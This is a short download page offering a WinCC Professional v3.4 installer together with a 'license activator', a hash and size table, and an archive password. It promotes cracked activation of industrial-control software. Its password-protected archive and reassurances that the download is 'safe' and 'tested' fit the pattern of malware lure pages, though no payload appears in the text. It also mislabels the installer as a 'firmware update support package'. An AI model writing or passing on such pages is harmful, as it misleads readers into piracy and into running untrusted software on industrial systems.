Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | WinCC_Professional_v3.4_x64_setup.zip |
| Version | v3.4.6106 build 26162 |
| File Size | 180.55 MB |
| MD5 Hash | eecdf3b9b611149a684af3f988f44589 |
| SHA-256 | 51d41b5a37eeac65f6045f379852296f71d816dbe0f1c0d96b3ca254c13c6b1c |
| Release Date | 2026-02-26 |
| Platform | Windows 10 (x64) / Server 2019 |
| Archive Password | soft2026 |
| License Type | Full / Retail |
The WinCC Professional latest firmware update support package is fully tested on clean virtual machines. It bundles all drivers, redistributables and configuration files so you can skip manual dependency hunting and start working right after the first launch.